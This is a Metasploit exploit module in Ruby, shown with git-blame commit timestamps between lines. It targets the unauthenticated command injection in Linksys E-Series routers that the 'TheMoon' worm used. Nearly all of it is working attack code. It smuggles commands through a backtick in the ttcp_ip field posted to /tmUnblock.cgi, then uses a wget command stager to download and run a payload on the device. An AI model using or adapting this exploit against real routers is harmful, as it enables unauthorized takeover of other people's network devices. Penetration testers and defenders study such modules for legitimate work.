2014-02-23 20:59:17 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-02-23 20:59:17 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-02-23 20:59:17 +01:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-05-09 11:24:29 -04:00
|
|
|
include Msf::Exploit::CmdStager
|
2014-02-23 20:59:17 +01:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Linksys E-Series TheMoon Remote Command Injection',
|
|
|
|
|
'Description' => %q{
|
2014-04-04 14:02:12 -05:00
|
|
|
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
|
2014-04-07 12:18:13 -05:00
|
|
|
injection. This vulnerability was used from the so-called "TheMoon" worm. There
|
|
|
|
|
are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
|
|
|
|
|
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
|
2014-04-04 14:02:12 -05:00
|
|
|
successfully against an E1500 v1.0.5.
|
2014-02-23 20:59:17 +01:00
|
|
|
},
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'Johannes Ullrich', #worm discovery
|
|
|
|
|
'Rew', # original exploit
|
|
|
|
|
'infodox', # another exploit
|
2014-07-11 12:45:23 -05:00
|
|
|
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
2014-02-23 20:59:17 +01:00
|
|
|
'juan vazquez' # minor help with msf module
|
|
|
|
|
],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'EDB', '31683' ],
|
2014-02-28 22:44:26 +01:00
|
|
|
[ 'BID', '65585' ],
|
2016-07-15 12:00:31 -05:00
|
|
|
[ 'OSVDB', '103321' ],
|
2015-12-24 09:05:02 -08:00
|
|
|
[ 'PACKETSTORM', '125253' ],
|
|
|
|
|
[ 'PACKETSTORM', '125252' ],
|
2014-02-28 22:44:26 +01:00
|
|
|
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
|
|
|
|
|
[ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
|
2014-02-23 20:59:17 +01:00
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Feb 13 2014',
|
|
|
|
|
'Privileged' => true,
|
|
|
|
|
'Platform' => %w{ linux unix },
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'DisableNops' => true
|
|
|
|
|
},
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
2014-02-23 21:17:32 +01:00
|
|
|
[ 'Linux mipsel Payload',
|
2014-02-23 20:59:17 +01:00
|
|
|
{
|
2014-02-23 21:17:32 +01:00
|
|
|
'Arch' => ARCH_MIPSLE,
|
|
|
|
|
'Platform' => 'linux'
|
2014-02-23 20:59:17 +01:00
|
|
|
}
|
|
|
|
|
],
|
2014-02-23 21:17:32 +01:00
|
|
|
[ 'Linux mipsbe Payload',
|
2014-02-23 20:59:17 +01:00
|
|
|
{
|
2014-02-23 21:17:32 +01:00
|
|
|
'Arch' => ARCH_MIPSBE,
|
2014-02-23 20:59:17 +01:00
|
|
|
'Platform' => 'linux'
|
|
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
],
|
2017-01-03 15:50:57 -06:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'DefaultOptions' => { 'WfsDelay' => 30 }
|
2014-02-23 20:59:17 +01:00
|
|
|
))
|
2014-06-28 16:21:08 -04:00
|
|
|
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
2014-02-23 20:59:17 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def execute_command(cmd, opts)
|
|
|
|
|
begin
|
|
|
|
|
res = send_request_cgi({
|
2014-02-23 21:17:32 +01:00
|
|
|
'uri' => '/tmUnblock.cgi',
|
2014-02-23 20:59:17 +01:00
|
|
|
'method' => 'POST',
|
2014-03-26 20:45:30 +01:00
|
|
|
'encode_params' => true,
|
2014-02-23 20:59:17 +01:00
|
|
|
'vars_post' => {
|
|
|
|
|
"submit_button" => "",
|
|
|
|
|
"change_action" => "",
|
|
|
|
|
"action" => "",
|
|
|
|
|
"commit" => "0",
|
|
|
|
|
"ttcp_num" => "2",
|
|
|
|
|
"ttcp_size" => "2",
|
|
|
|
|
"ttcp_ip" => "-h `#{cmd}`",
|
|
|
|
|
"StartEPI" => "1"
|
|
|
|
|
}
|
2014-04-04 14:02:12 -05:00
|
|
|
}, 2)
|
2014-02-23 20:59:17 +01:00
|
|
|
return res
|
|
|
|
|
rescue ::Rex::ConnectionError
|
2014-04-04 14:02:12 -05:00
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
2014-02-23 20:59:17 +01:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2014-04-04 14:02:12 -05:00
|
|
|
def check
|
2014-02-23 20:59:17 +01:00
|
|
|
begin
|
|
|
|
|
res = send_request_cgi({
|
2014-02-23 21:17:32 +01:00
|
|
|
'uri' => '/tmUnblock.cgi',
|
2014-04-04 14:02:12 -05:00
|
|
|
'method' => 'GET'
|
2014-02-23 20:59:17 +01:00
|
|
|
})
|
2014-04-04 14:02:12 -05:00
|
|
|
|
|
|
|
|
if res && [200, 301, 302].include?(res.code)
|
|
|
|
|
return Exploit::CheckCode::Detected
|
2014-02-23 20:59:17 +01:00
|
|
|
end
|
|
|
|
|
rescue ::Rex::ConnectionError
|
2014-04-04 14:02:12 -05:00
|
|
|
return Exploit::CheckCode::Unknown
|
2014-02-23 20:59:17 +01:00
|
|
|
end
|
|
|
|
|
|
2014-04-04 14:02:12 -05:00
|
|
|
Exploit::CheckCode::Unknown
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
2016-02-01 15:12:03 -06:00
|
|
|
print_status("Trying to access the vulnerable URL...")
|
2014-04-04 14:02:12 -05:00
|
|
|
|
|
|
|
|
unless check == Exploit::CheckCode::Detected
|
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
|
|
|
|
end
|
|
|
|
|
|
2016-02-01 15:12:03 -06:00
|
|
|
print_status("Exploiting...")
|
2017-01-03 15:50:57 -06:00
|
|
|
execute_cmdstager({:flavor => :wget})
|
2014-02-23 20:59:17 +01:00
|
|
|
end
|
|
|
|
|
end
|